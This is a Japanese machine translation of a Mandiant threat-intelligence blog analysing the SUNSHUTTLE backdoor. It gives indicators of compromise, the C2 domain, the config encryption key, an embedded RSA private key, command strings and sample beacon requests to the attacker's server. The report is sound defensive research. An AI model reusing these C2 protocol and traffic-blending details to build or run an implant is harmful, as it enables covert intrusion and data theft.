要旨
- 2020年8月、米国内にあるエンティティが、SUNSHUTTLEとよばれる新しいバックドアをパブリックなマルウェア・リポジトリにアップロードしました
- SUNSHUTTLEはGoLangで書かれた第2段階バックドアであり、検知回避機能を備えているのが特徴です。
- MandiantはUNC2452の被害者においてSUNSHUTTLEを観測しました。UNC2452と関連する指標も発見しましたが、関係性を完全に証明するには至っていません。
- 関連するMITRE ATT&CK techniques (T1027, T1027.002, T1059.003, T1071.001, T1105, T1140, T1573.001) の Technical Annex参照してください。
このブログ投稿で記述されている活動は、Microsoft社のブログ投稿にも詳述されています。この攻撃者を追跡するにあたり、多大なご協力をいただいた、Microsoft社のチームやその他パートナーの皆様に感謝いたします。
脅威の詳細
Mandiant Threat Intelligence は、米国内のエンティティがパブリックなマルウェア・リポジトリに2020年8月にアップロードした新しいバックドアを発見し、SUNSHUTTLEと命名しました。SUNSHUTTLEは、GOで記述されたバックドアであり、埋め込みまたはローカルの構成ファイルを読み取り、HTTPS経由でハードコードされたC2サーバーと通信します。また、構成のリモート更新、ファイルのアップロードとダウンロードを行うコマンドを持つほか、任意のコマンド実行機能を持ちます。特筆すべき点は、SUNSHUTTLEはcookie ヘッダを用いてC2に変数を受け渡しており、設定可能な場合には、よく閲覧されるWebサイトのURLのリストからレファラーを選択することで、通常のネットワーク・トラフィックに紛れ込ませます。
- 検証したSUNSHUTTLEバックドア・ファイル“Lexicon.exe” (MD5: 9466c865f7498a35e4e1a8f48ef1dffd)はGoLangで記述されています。ファイルはMD5: 86e89349fefcbdd9d2c80ca30fa85511として展開されました。SUNSHUTTLEの感染ベクターは明らかになっていません。初期侵入後に発生する第2段階としてドロップされるバックドアであると考えられます。
- SUNSHUTTLEのサンプルは攻撃者の制御するサーバー「reyweb[.]com」をC2として使用しています。「Reyweb[.]com」は、ビットコイン支払いに対応し、過去にはロシアやイランに関係する攻撃者やAPTグループを含む、国家の支援を受けたAPTグループのC2登録に使用されたこともあるNameSiloというドメイン・プロバイダ経由で匿名で登録されています。
MandiantはUNC2452の被害者においてSUNSHUTTLEを観測し、UNC2452と関連する指標も発見していますが、その関係性を完全に証明するには至っていません
UNC2452とSUNBURSTキャンペーンの背景についてはFireEyeのリソース・センターを参照してください。
見解と推測
SUNSHUTTLEという新しいバックドアは洗練された第2段階バックドアであり、C2通信のトラフィックを紛れ込ませることで、実直かつ卓抜した検知回避を行います。SUNSHUTTLEはネットワーク偵察活動を行うため、他のSUNBURST関連ツールと同時に、侵害時の第2段階バックドアとして機能する可能性があります。
Technical Annex
Mandiant Threat Intelligenceは、オンライン・マルチウィルス対策スキャン・サービスにアップロードされたSUNSHUTTLEバックドアのサンプルを検出しました。SUNSHUTTLEは、GOで記述されたバックドアで、埋め込みまたはローカルの構成ファイルを読み取り、HTTPS経由でC2サーバーと通信します。また、構成のリモート更新、ファイルのアップロードとダウンロードを行うコマンドを持つほか、任意のコマンド実行機能を持ちます。
- Lexicon.exe (MD5: 9466c865f7498a35e4e1a8f48ef1dffd)
- C2: reyweb[.]com
- UNAVAILABLE (MD5: 86e89349fefcbdd9d2c80ca30fa85511)
- 9466c865f7498a35e4e1a8f48ef1dffdのアンパックバージョン
- 9466c865f7498a35e4e1a8f48ef1dffdのアンパックバージョン
感染ベクター
分析されたサンプルの感染ベクターは不明です。
実行
実行の概要
SUNSHUTTLEはGoLangで書かれたバックドアです。SUNSHUTTLEが実行されると、以下の概要のような高レベルな実行がされます。
- 構成設定の決定
- C2に「セッション・キー」を要求
- C2から「セッション・キー」を取得
- セッション・キー取得後、SUNSHUTTLEはコマンド要求ビーコン・ループを開始
- セッション・キー取得後、SUNSHUTTLEはコマンド要求ビーコン・ループを開始
- コマンド要求ビーコンの開始
- コマンドの解決とアクションの実行
分析されたSUNSHUTTLEサンプルには、マルウェアによって使用されるルーチンの名前が保持されます。これには以下のものが含まれます。
main.request_session_key |
main.define_internal_settings |
main.send_file_part |
main.clean_file |
main.send_command_result |
main.retrieve_session_key |
main.save_internal_settings |
main.resolve_command |
main.write_file |
main.beaconing |
main.wget_file |
main.fileExists |
main.encrypt |
main.decrypt |
main.random |
main.removeBase64Padding |
main.addBase64Padding |
main.delete_empty |
main.Unpad |
main.GetMD5Hash |
main.Pad |
注記:SUNSHUTTLEバックドア全体で、Cookieのヘッダーを介するC2に対するオペレーションを特定するために一意の文字列からなる識別子を利用しています。一意の文字列からなる識別子は、C2からの対応内容を検証および解析するためにも使用されています。これら一意の文字列は、コンパイルされたサンプルごとに独自かつランダムであると考えられます。
初期実行
実行されると、SUNSHUTTLEバックドアは被害者のMACアドレスを列挙し、ハードコードされたMACアドレス値"c8:27:cc:c2:37:5a"と比較します。一致が見つかると、バックドアは終了します。MACアドレスは、Windowsサンドボックス・ネットワーク・アダプタのデフォルトのMACアドレスである可能性があります。
図1:Macアドレス・チェック
構成
確認が成功すると、SUNSHUTTLEバックドアは「main_define_internal_settings」という名前のルーチンを開始します。このルーチンは、SUNSHUTTLEが実行されているディレクトリに構成ファイルが存在しない場合に構成ファイルを作成します。分析されたサンプルの構成ファイル名は「config.dat.tmp」です。構成データはBase64でエンコードされ、次のキーを使用してAES-256で暗号化されます。
hz8l2fnpvp71ujfy8rht6b0smouvp9k8
Base64がデコードされ、AESが復号化されると、次のような値が示されます。
48b9e25491e088a35105274cae0b9e67|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2V
ja28vMjAxMDAxMDEgRmlyZWZveC83NS4w
構成には、"|"で区切られた複数の値が保持されます。以下簡単に説明します。
- 48b9e25491e088a35105274cae0b9e67
- 実行中に計算されたタイムスタンプのMD5ハッシュ
- 実行中に計算されたタイムスタンプのMD5ハッシュ
- 5-15
- SUNSHUTTLE実行時にランダムにスリープ時間を生成するために使用される下限/上限
- SUNSHUTTLE実行時にランダムにスリープ時間を生成するために使用される下限/上限
- 0
- 0または1-「ブレンド・イン」トラフィック要求を使用します。ここでは「false_requesting」を示す
- 0
- 実行タイムスタンプの有効化(デフォルトでは0)-現在の時間が構成の値より大きい場合、実行は「有効化」されるか、続行される。
- 実行タイムスタンプの有効化(デフォルトでは0)-現在の時間が構成の値より大きい場合、実行は「有効化」されるか、続行される。
- TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja2
8vMjAxMDAxMDEgRmlyZWZveC83NS4w- HTTPS要求で使用されるBase64でエンコードされたユーザー・エージェント情報
- デコード結果: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
- HTTPS要求で使用されるBase64でエンコードされたユーザー・エージェント情報
構成で設定されている場合、「ブレンド・イン」トラフィックは、マルウェアの実行時に発生し、そのルーチンを通して変化します。「ブレンド・イン」要求には、次のURLが利用されます。
- https://reyweb[.]com/icon.ico
- https://reyweb[.]com/icon.png
- https://reyweb[.]com/script.js
- https://reyweb[.]com/style.css
- https://reyweb[.]com/css/style.css
- https://reyweb[.]com/css/bootstrap.css
- https://reyweb[.]com/scripts/jquery.js
- https://reyweb[.]com/scripts/bootstrap.js
- https://cdn.mxpnl[.]com/
- https://cdn.google[.]com/
- https://cdn.jquery[.]com/
- https://code.jquery[.]com/
- https://cdn.cloudflare[.]com/
セッション・キー・メカニズム
SUNSHUTTLEは、C2への初期要求を実行し、セッション・キーと呼ばれているものを要求し、取得します。C2から取得されたセッション・キーはSUNSHUTTLEに埋め込まれており、かつ、コンパイルされたサンプルごとに独自であると考えられる次の秘密キーを使用してRSA復号すると考えられます。分析では、復号化されたセッション・キーがどのように使用されているかを調査中ですが、SUNSHUTTLEがC2ルーチンに移行した後に内容を暗号化するために使用されるセッション・キーである可能性が高いです。
-----BEGIN PRIVATE KEY-----
MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm
Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf
mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg
S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR
zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY
aDDhYp/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAoIBAGe4hPDe13OXTBQK
uTAN+dEkV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCeM23xOaiB9KpchwsgRNeDp
cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi
+UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL
zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M
7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP
wu6ZtG0CgYEA8vCFmAGmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx
et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D
i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga
Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMsZUHKALrZszKAnxP7
MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO
g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1
HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB
poUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAr6f6oX4MIcBJzAKgf2faEv26MzeDi
eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7
agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af
HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/
Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOlOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6
gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna
Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi
-----END PRIVATE KEY---
設定を作成または読み込んだ後、SUNSHUTTLEは"main_request_session_key"という名前のルーチンを開始します。マルウェアは、成功するまでこのルーチンを反復処理し、処理のたびに一定時間スリープします。
"main_request_session_key"ルーチン内で、SUNSHUTTLEは設定したC2へのHTTPS要求を構築します。分析されたサンプルでは、要求にHTTP200が返る場合、C2からの応答データに以下の文字列が含まれないことを望んでいました。
- ywQdjLuHHC
request_session_keyルーチンは、同文字列が含まれていない場合は”1”を返し、含まれる場合は”-1”を返します。request_session_keyの結果が”1”の場合、SUNSHUTTLEはretrieve_session_keyルーチンを実行します。
retrieve_session_keyルーチンは再びC2に接続し、前述の埋め込み秘密キーによって復号化されるコンテンツをダウンロードします。復号化されたコンテンツは、SUNSHUTTLEがC2ルーチンに遷移したときにコンテンツを暗号化するために使用されるセッション・キーであると思われます。
コマンド
C2からセッション・キーが取得されると、SUNSHUTTLEはビーコンを開始し、「resolve_command」ルーチンをループし始めます。SUNSHUTTLEはまずビーコンを発行してコマンドを取得します。その後、SUNSHUTTLEはルーチン「resolve_command」に入ります。ルーチンは応答の内容を解析して、実行するコマンドを決定します。コマンドには、その構成のリモート更新、ファイルのアップロードとダウンロード、任意のコマンド実行などがあります。
図2:Resolveコマンドのグラフ
「main_beaconing」ルーチンの後にC2から返されるコンテンツはBase64でデコードされ、AESで復号化されます。復号化されたコンテンツに次の文字列が含まれていないことを確認するチェックが実行されます。
- Cp5RTQ31R1
前述のように、これらの文字列はサンプルごとに独自であり、コンパイル時にランダムに生成されている可能性があります。
復号化された内容は、特定の一意の文字列に変換されます。
Unique string in decrypted response |
意味 |
zSsP2TSJJm3a |
Sleepの範囲をアップデート – 設定を保存 |
aQJmWJzXdYK721mGBI3U |
“false requestion” 値 – 設定を保存 |
W5VYP9Iu2uyHK |
C2 URLとユーザーエージェントをアップデート – 設定を保存 |
3487wD9t2OZkvqdwRpqPeE |
現在のタイムスタンプをC2に送付 |
ubFxROBRwfswVRWNjLC |
設定内の“activation” タイムスタンプをアップデート – 設定を保存 |
TMuhGdA9EHY |
ファイルが存在すればC2にアップロード |
1kG4NaRX83BCMgLo38Bjq |
コマンドを実行 – 成功したら “EXECED”を返す |
hB0upT6CUmdRaR2KVBvxrJ |
コマンドを実行 - 結果もしくはアウトプットを返す |
N/A (other string criteria met) |
ターミナルコマンドの実行 |
N/A (other string criteria met) |
C2からファルをダウンロード |
ドロップされたファイル
マルウェアが正常に実行されると、被害者のシステムに次のファイルがドロップされます:
- <current_directory>\config.dat.tmp (MD5: Dynamic)
- 暗号化構成ファイル
- 暗号化構成ファイル
継続の手法
SUNSHUTTLEマルウェアでは、独自の継続性は観測されませんでした。継続性はSUNSHUTTLE外で実行されている可能性があります。
ネットワーク・コミュケーション
SUNSHUTTLEは、Cookieのヘッダーを使用して値をC2に渡します。さらに、おそらくトラフィック検査のために復号化されることを想定し、以下のリストからレファラーを設定したトラフィックを紛れ込ませます。
- www.bing.com
- www.yahoo.com
- www.google.com
- www.facebook.com
Cookieのヘッダーは、実行される操作によって若干異なります。以下は、"request_session_key"ルーチンからC2への要求の例です。
Victim to C2
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.facebook.com
Accept-Encoding: gzip
Cookieヘッダー内では、これらの値は以下を表します:
- HjELmFxKJc=48b9e25491e088a35105274cae0b9e67
- 構成内に含まれるタイムスタンプのMD5
- 構成内に含まれるタイムスタンプのMD5
- P5hCrabkKf=gZLXIeKI
- "P5hCrabkKf="には、どのルーチンが要求を実行しているかに基づく独自の文字列が入ります(次の表を参照)。
- "P5hCrabkKf="には、どのルーチンが要求を実行しているかに基づく独自の文字列が入ります(次の表を参照)。
- iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx
- “i4zICToyI70Yeidf1f7rWjm5foKX2Usx”はSUNSHUTTLEバックドア内でハードコードされています。おそらくペイロード識別子と思われます。
- “i4zICToyI70Yeidf1f7rWjm5foKX2Usx”はSUNSHUTTLEバックドア内でハードコードされています。おそらくペイロード識別子と思われます。
- b7XCoFSvs1YRW=78
- 目的不明。この値は、request_session_keyおよびretrieve_session_key要求にのみ含まれます。
- 目的不明。この値は、request_session_keyおよびretrieve_session_key要求にのみ含まれます。
前述のように、各要求に含まれているCookie値"P5hCrabkKf="は、実行されている操作を示しています。
“P5hCrabkKf=” クッキー内の値 |
意味 |
gZLXIeK |
main_request_session_key |
do1KiqzhQ |
main_clean_file |
t5UITQ2PdFg5 |
main_wget_file |
cIHiqD5p4da6OeB |
main_retrieve_session_key |
xpjQVt3bJzWuv |
main_send_file_part |
S4rgG1WifHU |
main_send_command_result |
マルウェアのインストール/初期化が成功すると、TCP/443HTTPS経由でC2サーバーreyweb[.]comに以下のコールバックを行います。
被害者からC2へ
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.facebook.com
Accept-Encoding: gzip
被害者から C2へ
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.yahoo.com
Accept-Encoding: gzip
さらに、「fake_requesting」構成値が”1”に設定されている場合、SUNSHUTTLEは実トラフィックに紛れ込ませるトラフィックを生成します。これらの要求の例は以下の通りです。
被害者からC2へ
GET /icon.png HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.google.com
Accept-Encoding: gzip
被害者からC2へ
GET /css/style.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.facebook.com
Accept-Encoding: gzip
被害者からC2へ
GET /css/bootstrap.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.facebook.com
Accept-Encoding: gzip
被害者から正規サイトへ
GET / HTTP/1.1
Host: cdn.cloudflare[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.google.com
Accept-Encoding: gzip
付録:MITRE ATT&CKフレームワーク
Technique |
Description |
T1027 |
Obfuscated Files or Information |
T1027.002 |
Software Packing |
T1059.003 |
Windows Command Shell |
T1071.001 |
Web Protocols |
T1105 |
Ingress Tool Transfer |
T1140 |
Deobfuscate/Decode Files or Information |
T1573.001 |
Symmetric Cryptography |
付録:テクニックの検出
FireEyeのセキュリティー・ソリューションは、Eメール、エンドポイント、およびネットワークにてSUNSHUTTLEの活動を検知します。以下は、このブログ投稿で概説されている活動に関連する既存の検知のスナップショットです。
プラットドーム |
検知名 |
|
|
Endpoint Security |
Malware Protection (AV/MG)
|
本ブログは機械翻訳(MT)を使用して翻訳しています。原文と翻訳版の意味、文言が異なる場合は原文を有効とします。
原文:March 04, 2021 「New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452」